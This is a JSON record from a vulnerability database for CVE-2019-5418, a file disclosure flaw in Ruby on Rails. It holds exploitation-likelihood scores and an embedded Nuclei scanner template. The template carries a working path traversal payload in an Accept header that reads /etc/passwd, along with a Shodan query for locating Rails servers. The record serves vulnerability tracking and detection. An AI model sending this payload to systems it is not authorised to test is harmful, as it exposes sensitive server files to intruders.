{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-5418/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-5418/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-5418/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-5418/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-5418/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-5418"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-5418"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.98507,
      "kev": true,
      "percentile": 0.99918
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-5418.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2019-5418\n\ninfo:\n  name: Rails File Content Disclosure\n  author: omarkurt\n  severity: high\n  description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.\n  impact: |\n    This vulnerability can lead to unauthorized access to sensitive information stored on the server.\n  remediation: |\n    Apply the patch provided by the Rails team or upgrade to a version that includes the fix.\n  reference:\n    - https://github.com/omarkurt/CVE-2019-5418\n    - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-5418\n    - https://www.exploit-db.com/exploits/46585/\n    - http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-5418\n    cwe-id: CWE-22,NVD-CWE-noinfo\n    epss-score: 0.98507\n    epss-percentile: 0.99919\n    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: rubyonrails\n    product: rails\n    shodan-query: cpe:\"cpe:2.3:a:rubyonrails:rails\"\n  tags: cve,cve2019,rails,lfi,disclosure,edb,rubyonrails,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    headers:\n      Accept: ../../../../../../../../etc/passwd{{\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n          - 500\n# digest: 4a0a004730450220428e36a156e9c7148f4882b867d7361c19e8e4a3fc4f291e64bd8afdd265465e022100d3bffb7fc45b5e034e6c901d51d6ade8d11f948ab741eb13979a9987e4f789bf:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-5418"
}